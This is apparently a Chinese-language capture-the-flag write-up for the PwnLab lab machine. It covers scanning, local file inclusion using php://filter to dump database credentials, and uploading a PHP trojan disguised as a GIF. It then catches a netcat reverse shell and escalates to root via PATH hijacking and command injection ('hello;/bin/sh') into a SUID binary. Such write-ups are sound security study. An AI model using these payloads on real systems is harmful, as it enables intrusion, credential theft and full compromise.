writeup-pwnlab
tip:
文件包含
信息收集
ip add namp c段
开放端口 80 111 3306
浏览器无内容
dirb扫描
nitko -host http://192.168.1.19发现/config.php
考虑url构造为
http://192.168.1.19/?page=upload可能存在文件包含漏洞知识点
文件包含漏洞特征:
?page=a.php
?home=b.html
?file=content
检测方法:
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txtphp://filter参数详解:
SQL测试代码:
plain读取文件
plaincurl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d获取到一串码 base64 解码获得 数据库的用户密码信息
登录查表
SQL获取网页用户密码信息 mysql的
information_schema也是很重要的表
getshell
php木马改名gif 上传 使用burp suite 的repeater 文件头加
GIF89A无法运行远程木马
查看index的源码
curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d发现cookie 可以提供lang修改cookie 添加路径lang=../xxxxxxxxxxxxx.gif
监听反弹shell
nc -lvp 1234send repeater后的cookie网页获得shell su用户提示需要终端,利用python 启用远程终端
bash
提权
找suid文件
find / -perm -u=s 2>/dev/null发现msgmike执行发现调用cat
修改$PATH
export PATH=.:$PATHecho "/bin/bash" >catchmod +x cat重新执行msgmike来调用cat中的bash命令实现提取到mike
ls -l *发现mike 有msg2root也有suid权限file执行msg2root发现 执行什么就显示什么类似echo 尝试拼接
hello;/bin/sh获取root的bash
在root的根目录中找到flag.txt
总结
靶机 => 主机端口探测 => web渗透 => 文件包含 => 得到数据库账号密码 => 在数据库中查到登录账号密码 => 查看源码 => 文件上传木马 => 通过Cookie文件包含 => 反弹shell => 切换账户 => 利用环境变量提权 => 找到flag
Network Interface Controllers > 2.5G Gigabit Ethernet > USB 3.0
RTL8156 / RTL8156B
Network Interface Controllers > 10/100/1000M Gigabit Ethernet > USB 3.0
RTL8153 / RTL8153B
相关文章
暂无相关文章
